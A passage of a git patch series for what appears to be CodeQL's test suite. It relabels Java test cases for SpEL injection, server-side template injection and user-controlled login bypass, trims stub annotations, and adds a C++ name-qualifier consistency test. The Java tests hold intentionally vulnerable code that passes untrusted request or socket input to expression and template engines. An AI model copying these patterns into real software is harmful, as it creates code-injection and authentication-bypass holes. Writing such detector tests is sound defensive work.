testGetValueWithChainedCalls(Socket socket) throws IOException { - InputStream in = socket.getInputStream(); // $ Source + InputStream in = socket.getInputStream(); // $ Source[java/spel-expression-injection] byte[] bytes = new byte[1024]; int n = in.read(bytes); String input = new String(bytes, 0, n); Expression expression = new SpelExpressionParser().parseExpression(input); - expression.getValue(); // $ Alert + expression.getValue(); // $ Alert[java/spel-expression-injection] } public void testSetValueWithRootObject(Socket socket) throws IOException { - InputStream in = socket.getInputStream(); // $ Source + InputStream in = socket.getInputStream(); // $ Source[java/spel-expression-injection] byte[] bytes = new byte[1024]; int n = in.read(bytes); @@ -57,33 +57,33 @@ public class SpelInjectionTest { Object root = new Object(); Object value = new Object(); - expression.setValue(root, value); // $ Alert + expression.setValue(root, value); // $ Alert[java/spel-expression-injection] } public void testGetValueWithStaticParser(Socket socket) throws IOException { - InputStream in = socket.getInputStream(); // $ Source + InputStream in = socket.getInputStream(); // $ Source[java/spel-expression-injection] byte[] bytes = new byte[1024]; int n = in.read(bytes); String input = new String(bytes, 0, n); Expression expression = PARSER.parseExpression(input); - expression.getValue(); // $ Alert + expression.getValue(); // $ Alert[java/spel-expression-injection] } public void testGetValueType(Socket socket) throws IOException { - InputStream in = socket.getInputStream(); // $ Source + InputStream in = socket.getInputStream(); // $ Source[java/spel-expression-injection] byte[] bytes = new byte[1024]; int n = in.read(bytes); String input = new String(bytes, 0, n); Expression expression = PARSER.parseExpression(input); - expression.getValueType(); // $ Alert + expression.getValueType(); // $ Alert[java/spel-expression-injection] } public void testWithStandardEvaluationContext(Socket socket) throws IOException { - InputStream in = socket.getInputStream(); // $ Source + InputStream in = socket.getInputStream(); // $ Source[java/spel-expression-injection] byte[] bytes = new byte[1024]; int n = in.read(bytes); @@ -92,7 +92,7 @@ public class SpelInjectionTest { Expression expression = PARSER.parseExpression(input); StandardEvaluationContext context = new StandardEvaluationContext(); - expression.getValue(context); // $ Alert + expression.getValue(context); // $ Alert[java/spel-expression-injection] } public void testWithSimpleEvaluationContext(Socket socket) throws IOException { diff --git a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/FreemarkerSSTI.java b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/FreemarkerSSTI.java index a39ed8c5a4e..e1b87b3d2e5 100644 --- a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/FreemarkerSSTI.java +++ b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/FreemarkerSSTI.java @@ -20,88 +20,88 @@ public class FreemarkerSSTI { @GetMapping(value = "bad1") public void bad1(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] Reader reader = new StringReader(code); - Template t = new Template(name, reader); // $ Alert + Template t = new Template(name, reader); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad2") public void bad2(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] Reader reader = new StringReader(code); Configuration cfg = new Configuration(); - Template t = new Template(name, reader, cfg); // $ Alert + Template t = new Template(name, reader, cfg); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad3") public void bad3(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] Reader reader = new StringReader(code); Configuration cfg = new Configuration(); - Template t = new Template(name, reader, cfg, "UTF-8"); // $ Alert + Template t = new Template(name, reader, cfg, "UTF-8"); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad4") public void bad4(HttpServletRequest request) { String name = "ttemplate"; - String sourceCode = request.getParameter("sourceCode"); // $ Source + String sourceCode = request.getParameter("sourceCode"); // $ Source[java/server-side-template-injection] Configuration cfg = new Configuration(); - Template t = new Template(name, sourceCode, cfg); // $ Alert + Template t = new Template(name, sourceCode, cfg); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad5") public void bad5(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] Configuration cfg = new Configuration(); Reader reader = new StringReader(code); - Template t = new Template(name, sourceName, reader, cfg); // $ Alert + Template t = new Template(name, sourceName, reader, cfg); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad6") public void bad6(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] Configuration cfg = new Configuration(); ParserConfiguration customParserConfiguration = new Configuration(); Reader reader = new StringReader(code); Template t = - new Template(name, sourceName, reader, cfg, customParserConfiguration, "UTF-8"); // $ Alert + new Template(name, sourceName, reader, cfg, customParserConfiguration, "UTF-8"); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad7") public void bad7(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] Configuration cfg = new Configuration(); ParserConfiguration customParserConfiguration = new Configuration(); Reader reader = new StringReader(code); - Template t = new Template(name, sourceName, reader, cfg, "UTF-8"); // $ Alert + Template t = new Template(name, sourceName, reader, cfg, "UTF-8"); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad8") public void bad8(HttpServletRequest request) { - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] StringTemplateLoader stringLoader = new StringTemplateLoader(); - stringLoader.putTemplate("myTemplate", code); // $ Alert + stringLoader.putTemplate("myTemplate", code); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad9") public void bad9(HttpServletRequest request) { - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] StringTemplateLoader stringLoader = new StringTemplateLoader(); - stringLoader.putTemplate("myTemplate", code, 0); // $ Alert + stringLoader.putTemplate("myTemplate", code, 0); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "good1") diff --git a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/JinJavaSSTI.java b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/JinJavaSSTI.java index 9bd9bad4ca8..ef931de1537 100644 --- a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/JinJavaSSTI.java +++ b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/JinJavaSSTI.java @@ -18,27 +18,27 @@ public class JinJavaSSTI { @GetMapping(value = "bad1") public void bad1(HttpServletRequest request) { - String template = request.getParameter("template"); // $ Source + String template = request.getParameter("template"); // $ Source[java/server-side-template-injection] Jinjava jinjava = new Jinjava(); Map context = new HashMap<>(); - String renderedTemplate = jinjava.render(template, context); // $ Alert + String renderedTemplate = jinjava.render(template, context); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad2") public void bad2(HttpServletRequest request) { - String template = request.getParameter("template"); // $ Source + String template = request.getParameter("template"); // $ Source[java/server-side-template-injection] Jinjava jinjava = new Jinjava(); Map bindings = new HashMap<>(); - RenderResult renderResult = jinjava.renderForResult(template, bindings); // $ Alert + RenderResult renderResult = jinjava.renderForResult(template, bindings); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad3") public void bad3(HttpServletRequest request) { - String template = request.getParameter("template"); // $ Source + String template = request.getParameter("template"); // $ Source[java/server-side-template-injection] Jinjava jinjava = new Jinjava(); Map bindings = new HashMap<>(); JinjavaConfig renderConfig = new JinjavaConfig(); - RenderResult renderResult = jinjava.renderForResult(template, bindings, renderConfig); // $ Alert + RenderResult renderResult = jinjava.renderForResult(template, bindings, renderConfig); // $ Alert[java/server-side-template-injection] } } diff --git a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/PebbleSSTI.java b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/PebbleSSTI.java index 45beaf46fa1..c2404a83172 100644 --- a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/PebbleSSTI.java +++ b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/PebbleSSTI.java @@ -15,15 +15,15 @@ public class PebbleSSTI { @GetMapping(value = "bad1") public void bad1(HttpServletRequest request) { - String templateName = request.getParameter("templateName"); // $ Source + String templateName = request.getParameter("templateName"); // $ Source[java/server-side-template-injection] PebbleEngine engine = new PebbleEngine.Builder().build(); - PebbleTemplate compiledTemplate = engine.getTemplate(templateName); // $ Alert + PebbleTemplate compiledTemplate = engine.getTemplate(templateName); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad2") public void bad2(HttpServletRequest request) { - String templateName = request.getParameter("templateName"); // $ Source + String templateName = request.getParameter("templateName"); // $ Source[java/server-side-template-injection] PebbleEngine engine = new PebbleEngine.Builder().build(); - PebbleTemplate compiledTemplate = engine.getLiteralTemplate(templateName); // $ Alert + PebbleTemplate compiledTemplate = engine.getLiteralTemplate(templateName); // $ Alert[java/server-side-template-injection] } } diff --git a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/ThymeleafSSTI.java b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/ThymeleafSSTI.java index 669b287ea79..ce8813ab902 100644 --- a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/ThymeleafSSTI.java +++ b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/ThymeleafSSTI.java @@ -18,20 +18,20 @@ import org.thymeleaf.context.Context; public class ThymeleafSSTI { @GetMapping(value = "bad1") public void bad1(HttpServletRequest request) { - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] try { TemplateEngine templateEngine = new TemplateEngine(); - templateEngine.process(code, (Set) null, (Context) null); // $ Alert - templateEngine.process(code, (Set) null, (Context) null, (Writer) null); // $ Alert - templateEngine.process(code, (Context) null); // $ Alert - templateEngine.process(code, (Context) null, (Writer) null); // $ Alert - templateEngine.processThrottled(code, (Set) null, (Context) null); // $ Alert - templateEngine.processThrottled(code, (Context) null); // $ Alert + templateEngine.process(code, (Set) null, (Context) null); // $ Alert[java/server-side-template-injection] + templateEngine.process(code, (Set) null, (Context) null, (Writer) null); // $ Alert[java/server-side-template-injection] + templateEngine.process(code, (Context) null); // $ Alert[java/server-side-template-injection] + templateEngine.process(code, (Context) null, (Writer) null); // $ Alert[java/server-side-template-injection] + templateEngine.processThrottled(code, (Set) null, (Context) null); // $ Alert[java/server-side-template-injection] + templateEngine.processThrottled(code, (Context) null); // $ Alert[java/server-side-template-injection] TemplateSpec spec = new TemplateSpec(code, ""); - templateEngine.process(spec, (Context) null); // $ Alert - templateEngine.process(spec, (Context) null, (Writer) null); // $ Alert - templateEngine.processThrottled(spec, (Context) null); // $ Alert + templateEngine.process(spec, (Context) null); // $ Alert[java/server-side-template-injection] + templateEngine.process(spec, (Context) null, (Writer) null); // $ Alert[java/server-side-template-injection] + templateEngine.processThrottled(spec, (Context) null); // $ Alert[java/server-side-template-injection] } catch (Exception e) { } } diff --git a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/VelocitySSTI.java b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/VelocitySSTI.java index 463a653525e..f175cae98e4 100644 --- a/java/ql/test/query-tests/security/CWE-094/TemplateInjection/VelocitySSTI.java +++ b/java/ql/test/query-tests/security/CWE-094/TemplateInjection/VelocitySSTI.java @@ -28,19 +28,19 @@ public class VelocitySSTI { @GetMapping(value = "bad1") public void bad1(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] VelocityContext context = null; String s = "We are using $project $name to render this."; StringWriter w = new StringWriter(); - Velocity.evaluate(context, w, "mystring", code); // $ Alert + Velocity.evaluate(context, w, "mystring", code); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad2") public void bad2(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] VelocityContext context = null; @@ -48,17 +48,17 @@ public class VelocitySSTI { StringWriter w = new StringWriter(); StringReader reader = new StringReader(code); - Velocity.evaluate(context, w, "mystring", reader); // $ Alert + Velocity.evaluate(context, w, "mystring", reader); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "bad3") public void bad3(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] RuntimeServices runtimeServices = null; StringReader reader = new StringReader(code); - runtimeServices.parse(reader, new Template()); // $ Alert + runtimeServices.parse(reader, new Template()); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "good1") @@ -78,7 +78,7 @@ public class VelocitySSTI { @GetMapping(value = "bad5") public void bad5(HttpServletRequest request) { String name = "ttemplate"; - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] VelocityContext context = new VelocityContext(); context.put("code", code); @@ -90,8 +90,8 @@ public class VelocitySSTI { ctx.put("key", code); engine.evaluate(ctx, null, null, (String) null); // Safe engine.evaluate(ctx, null, null, (Reader) null); // Safe - engine.evaluate(null, null, null, code); // $ Alert - engine.evaluate(null, null, null, new StringReader(code)); // $ Alert + engine.evaluate(null, null, null, code); // $ Alert[java/server-side-template-injection] + engine.evaluate(null, null, null, new StringReader(code)); // $ Alert[java/server-side-template-injection] } @GetMapping(value = "good2") @@ -111,10 +111,10 @@ public class VelocitySSTI { @GetMapping(value = "bad6") public void bad6(HttpServletRequest request) { - String code = request.getParameter("code"); // $ Source + String code = request.getParameter("code"); // $ Source[java/server-side-template-injection] StringResourceRepository repo = new StringResourceRepositoryImpl(); - repo.putStringResource("woogie2", code); // $ Alert + repo.putStringResource("woogie2", code); // $ Alert[java/server-side-template-injection] } } diff --git a/java/ql/test/query-tests/security/CWE-807/semmle/tests/ConditionalBypassTest.java b/java/ql/test/query-tests/security/CWE-807/semmle/tests/ConditionalBypassTest.java index 0085ce516cc..0de066c9872 100644 --- a/java/ql/test/query-tests/security/CWE-807/semmle/tests/ConditionalBypassTest.java +++ b/java/ql/test/query-tests/security/CWE-807/semmle/tests/ConditionalBypassTest.java @@ -16,18 +16,18 @@ class ConditionalBypassTest { String user = request.getParameter("user"); String password = request.getParameter("password"); - String isAdmin = request.getParameter("isAdmin"); // $ Source + String isAdmin = request.getParameter("isAdmin"); // $ Source[java/user-controlled-bypass] // BAD: login is only executed if isAdmin is false, but isAdmin // is controlled by the user - if (isAdmin == "false") // $ Sink - login(user, password); // $ Alert + if (isAdmin == "false") // $ Sink[java/user-controlled-bypass] + login(user, password); // $ Alert[java/user-controlled-bypass] Cookie adminCookie = getCookies()[0]; // BAD: login is only executed if the cookie value is false, but the cookie // is controlled by the user - if (adminCookie.getValue().equals("false")) // $ Source Sink - login(user, password); // $ Alert + if (adminCookie.getValue().equals("false")) // $ Source[java/user-controlled-bypass] Sink[java/user-controlled-bypass] + login(user, password); // $ Alert[java/user-controlled-bypass] // GOOD: both methods are conditionally executed, but they probably // both perform the security-critical action @@ -73,8 +73,8 @@ class ConditionalBypassTest { public static void test2(String user, String password) { Cookie adminCookie = getCookies()[0]; // BAD: login may happen once or twice - if (adminCookie.getValue() == "false") // $ Source Sink - login(user, password); // $ Alert + if (adminCookie.getValue() == "false") // $ Source[java/user-controlled-bypass] Sink[java/user-controlled-bypass] + login(user, password); // $ Alert[java/user-controlled-bypass] else { // do something else doIt(); @@ -85,8 +85,8 @@ class ConditionalBypassTest { public static void test3(String user, String password) { Cookie adminCookie = getCookies()[0]; // BAD: login may not happen - if (adminCookie.getValue() == "false") // $ Source Sink - login(user, password); // $ Alert + if (adminCookie.getValue() == "false") // $ Source[java/user-controlled-bypass] Sink[java/user-controlled-bypass] + login(user, password); // $ Alert[java/user-controlled-bypass] else { // do something else doIt(); @@ -130,8 +130,8 @@ class ConditionalBypassTest { public static void test7(String user, String password) { Cookie adminCookie = getCookies()[0]; // BAD: login is bypasseable - if (adminCookie.getValue() == "false") { // $ Source Sink - login(user, password); // $ Alert + if (adminCookie.getValue() == "false") { // $ Source[java/user-controlled-bypass] Sink[java/user-controlled-bypass] + login(user, password); // $ Alert[java/user-controlled-bypass] return; } else { doIt(); @@ -142,8 +142,8 @@ class ConditionalBypassTest { Cookie adminCookie = getCookies()[0]; { // BAD: login may not happen - if (adminCookie.getValue() == "false") // $ Source Sink - authorize(user, password); // $ Alert + if (adminCookie.getValue() == "false") // $ Source[java/user-controlled-bypass] Sink[java/user-controlled-bypass] + authorize(user, password); // $ Alert[java/user-controlled-bypass] else { // do something else doIt(); diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/Consume.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/Consume.java index 6bd0966ff28..70f5a0b2bee 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/Consume.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/Consume.java @@ -38,7 +38,7 @@ public @interface Consume { /** * The uri to consume from */ - String value() default ""; // $ Alert[java/dead-function] + String value() default ""; /** * The uri to consume from @@ -46,12 +46,12 @@ public @interface Consume { * @deprecated use value instead */ @Deprecated - String uri() default ""; // $ Alert[java/dead-function] + String uri() default ""; /** * Use the field or getter on the bean to provide the uri to consume from */ - String property() default ""; // $ Alert[java/dead-function] + String property() default ""; /** * Optional predicate (using simple language) to only consume if the predicate matches . This can be used to filter @@ -60,5 +60,5 @@ public @interface Consume { * Notice that only the first method that matches the predicate will be used. And if no predicate matches then the * message is dropped. */ - String predicate() default ""; // $ Alert[java/dead-function] + String predicate() default ""; } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/ExpressionClause.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/ExpressionClause.java index e90e607e50c..2dcc3ad5a7a 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/ExpressionClause.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/ExpressionClause.java @@ -20,6 +20,6 @@ package org.apache.camel.builder; * Represents an expression clause within the DSL which when the expression is complete the clause continues to another * part of the DSL */ -public class ExpressionClause { // $ Alert[java/dead-class] +public class ExpressionClause { public T method(String ref) { return null; } } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/RouteBuilder.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/RouteBuilder.java index 0cb300895bc..9c1b8c45d68 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/RouteBuilder.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/RouteBuilder.java @@ -31,9 +31,9 @@ public abstract class RouteBuilder implements RoutesBuilder { * @param uri the from uri * @return the builder */ - public RouteDefinition from(String uri) { // $ Alert[java/dead-function] + public RouteDefinition from(String uri) { return null; } - public abstract void configure() throws Exception; // $ Alert[java/dead-function] + public abstract void configure() throws Exception; } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/impl/DefaultCamelContext.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/impl/DefaultCamelContext.java index 22140d4b2f5..2180623054b 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/impl/DefaultCamelContext.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/impl/DefaultCamelContext.java @@ -21,7 +21,7 @@ import org.apache.camel.RoutesBuilder; public class DefaultCamelContext implements ModelCamelContext { - public void configure() throws Exception {} // $ Alert[java/dead-function] + public void configure() throws Exception {} public void addRoutes(RoutesBuilder arg0) {} diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/FilterDefinition.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/FilterDefinition.java index d3bed4347b5..1138c8d3783 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/FilterDefinition.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/FilterDefinition.java @@ -16,4 +16,4 @@ */ package org.apache.camel.model; -public class FilterDefinition { } // $ Alert[java/dead-class] +public class FilterDefinition { } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/OutputDefinition.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/OutputDefinition.java index 5c4045cdc95..cfe55f5cc17 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/OutputDefinition.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/OutputDefinition.java @@ -19,5 +19,5 @@ package org.apache.camel.model; /** * A useful base class for output types */ -public class OutputDefinition> extends ProcessorDefinition { // $ Alert[java/dead-class] +public class OutputDefinition> extends ProcessorDefinition { } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/ProcessorDefinition.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/ProcessorDefinition.java index 37931b91796..2423e907b01 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/ProcessorDefinition.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/ProcessorDefinition.java @@ -18,7 +18,7 @@ package org.apache.camel.model; import org.apache.camel.builder.ExpressionClause; -public abstract class ProcessorDefinition> { // $ Alert[java/dead-class] +public abstract class ProcessorDefinition> { public Type to(String uri) { return null; } public Type bean(Object bean) { return null; } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/RouteDefinition.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/RouteDefinition.java index 2052e6a0cdd..2ab31d2126a 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/RouteDefinition.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/RouteDefinition.java @@ -16,7 +16,7 @@ */ package org.apache.camel.model; -public class RouteDefinition extends OutputDefinition { // $ Alert[java/dead-class] +public class RouteDefinition extends OutputDefinition { } From 98f147556a4a811c53dddb3d1f9103bc0dc89908 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Wed, 10 Jun 2026 14:27:56 +0200 Subject: [PATCH 054/143] C++: Add namequalifier test with inconsistency While where the remove the file restriction in QL. --- .../library-tests/name_qualifiers/DB-CHECK.expected | 5 +++++ .../name_qualifiers/NameQualifiers1.expected | 4 ++++ .../library-tests/name_qualifiers/NameQualifiers1.ql | 4 +--- .../library-tests/name_qualifiers/inconsistency.cpp | 4 ++-- .../library-tests/name_qualifiers/inconsistency2.cpp | 12 ++++++++++++ 5 files changed, 24 insertions(+), 5 deletions(-) create mode 100644 cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected create mode 100644 cpp/ql/test/library-tests/name_qualifiers/inconsistency2.cpp diff --git a/cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected b/cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected new file mode 100644 index 00000000000..e27957d308d --- /dev/null +++ b/cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected @@ -0,0 +1,5 @@ +[VALUE_NOT_IN_TYPE] predicate namequalifiers(@namequalifier id, @namequalifiableelement qualifiableelement, @namequalifyingelement qualifyingelement, @location_default location): Value 272 of field qualifyingelement is not in type @namequalifyingelement. The value is however in the following types: @type_with_specifiers. Appears in tuple (-16777185,-16777184,272,307) + Relevant element: qualifyingelement=272 + Full ID for 272: @"typeref_const(216)". The ID may expand to @"typeref_const{@"type_decl_s_nonproto[struct_complete]_{@"namespace_decl_(namespace line:1, {@"/Users/jketema/development/semmle-code/ql/cpp/ql/test/library-tests/name_qualifiers/inconsistency2.cpp;sourcefile"}){@"not_inline"}"}_321bfec50edc"}" + Relevant element: location=307 + Full ID for 307: @"loc,(212),3,3,3,11". The ID may expand to @"loc,{@"/Users/jketema/development/semmle-code/ql/cpp/ql/test/library-tests/name_qualifiers/inconsistency2.cpp;sourcefile"},3,3,3,11" diff --git a/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected b/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected index 72d7d615c81..d9419b833a1 100644 --- a/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected +++ b/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected @@ -1,3 +1,7 @@ +| inconsistency2.cpp:3:3:3:5 | T:: | inconsistency2.cpp:3:3:3:6 | x | inconsistency2.cpp:2:20:2:20 | T | +| inconsistency2.cpp:3:3:3:11 | (no string representation) | inconsistency2.cpp:3:3:3:6 | x | file://:0:0:0:0 | const s | +| inconsistency.cpp:7:20:7:22 | S:: | inconsistency.cpp:7:20:7:23 | (int)... | inconsistency.cpp:4:8:4:8 | S | +| inconsistency.cpp:7:20:7:22 | S:: | inconsistency.cpp:7:20:7:23 | A | inconsistency.cpp:4:8:4:8 | S | | name_qualifiers.cpp:29:7:29:8 | :: | name_qualifiers.cpp:29:7:29:9 | x | file://:0:0:0:0 | (global namespace) | | name_qualifiers.cpp:31:7:31:10 | N1:: | name_qualifiers.cpp:31:7:31:12 | nx | name_qualifiers.cpp:4:11:4:12 | N1 | | name_qualifiers.cpp:34:7:34:8 | :: | name_qualifiers.cpp:34:9:34:12 | N1:: | file://:0:0:0:0 | (global namespace) | diff --git a/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.ql b/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.ql index 77a8e195ebe..b5b40e35caa 100644 --- a/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.ql +++ b/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.ql @@ -1,7 +1,5 @@ import cpp from NameQualifier nq, Location l -where - l = nq.getQualifiedElement().getLocation() and - l.getFile().getShortName() = "name_qualifiers" +where l = nq.getQualifiedElement().getLocation() select nq, nq.getQualifiedElement(), nq.getQualifyingElement() diff --git a/cpp/ql/test/library-tests/name_qualifiers/inconsistency.cpp b/cpp/ql/test/library-tests/name_qualifiers/inconsistency.cpp index caa5a6817c1..94c61bf8e23 100644 --- a/cpp/ql/test/library-tests/name_qualifiers/inconsistency.cpp +++ b/cpp/ql/test/library-tests/name_qualifiers/inconsistency.cpp @@ -1,8 +1,8 @@ // This file is present to test whether name-qualifying an enum constant leads to a database inconsistency. -// As such, there is no QL part of the test. + struct S { enum E { A }; }; -static int f() { +static void f() { switch(0) { case S::A: break; } } diff --git a/cpp/ql/test/library-tests/name_qualifiers/inconsistency2.cpp b/cpp/ql/test/library-tests/name_qualifiers/inconsistency2.cpp new file mode 100644 index 00000000000..d1fec43cb84 --- /dev/null +++ b/cpp/ql/test/library-tests/name_qualifiers/inconsistency2.cpp @@ -0,0 +1,12 @@ +namespace { +template T f() { + T::x; + return {}; +} +struct s { + static int x; +}; +struct t { + s x = f(); +}; +} From 6d0968744b21998070623e3942baf204fb3365ed Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Wed, 10 Jun 2026 14:35:36 +0200 Subject: [PATCH 055/143] C++: Fix `NameQualifyingElement` db inconsistency --- cpp/ql/lib/semmle/code/cpp/Type.qll | 2 +- cpp/ql/lib/semmlecode.cpp.dbscheme | 3 ++- cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected | 5 ----- .../library-tests/name_qualifiers/NameQualifiers1.expected | 2 +- 4 files changed, 4 insertions(+), 8 deletions(-) delete mode 100644 cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected diff --git a/cpp/ql/lib/semmle/code/cpp/Type.qll b/cpp/ql/lib/semmle/code/cpp/Type.qll index fa2d2d605d8..4069b58134b 100644 --- a/cpp/ql/lib/semmle/code/cpp/Type.qll +++ b/cpp/ql/lib/semmle/code/cpp/Type.qll @@ -1071,7 +1071,7 @@ class NullPointerType extends BuiltInType { * const float fa[40]; * ``` */ -class DerivedType extends Type, @derivedtype { +class DerivedType extends Type, NameQualifyingElement, @derivedtype { override string toString() { result = this.getName() } override string getName() { derivedtypes(underlyingElement(this), result, _, _) } diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme b/cpp/ql/lib/semmlecode.cpp.dbscheme index ef8d209a22e..0853f43dc8c 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme @@ -1430,7 +1430,8 @@ specialnamequalifyingelements( @namequalifyingelement = @namespace | @specialnamequalifyingelement | @usertype - | @decltype; + | @decltype + | @derivedtype; namequalifiers( unique int id: @namequalifier, diff --git a/cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected b/cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected deleted file mode 100644 index e27957d308d..00000000000 --- a/cpp/ql/test/library-tests/name_qualifiers/DB-CHECK.expected +++ /dev/null @@ -1,5 +0,0 @@ -[VALUE_NOT_IN_TYPE] predicate namequalifiers(@namequalifier id, @namequalifiableelement qualifiableelement, @namequalifyingelement qualifyingelement, @location_default location): Value 272 of field qualifyingelement is not in type @namequalifyingelement. The value is however in the following types: @type_with_specifiers. Appears in tuple (-16777185,-16777184,272,307) - Relevant element: qualifyingelement=272 - Full ID for 272: @"typeref_const(216)". The ID may expand to @"typeref_const{@"type_decl_s_nonproto[struct_complete]_{@"namespace_decl_(namespace line:1, {@"/Users/jketema/development/semmle-code/ql/cpp/ql/test/library-tests/name_qualifiers/inconsistency2.cpp;sourcefile"}){@"not_inline"}"}_321bfec50edc"}" - Relevant element: location=307 - Full ID for 307: @"loc,(212),3,3,3,11". The ID may expand to @"loc,{@"/Users/jketema/development/semmle-code/ql/cpp/ql/test/library-tests/name_qualifiers/inconsistency2.cpp;sourcefile"},3,3,3,11" diff --git 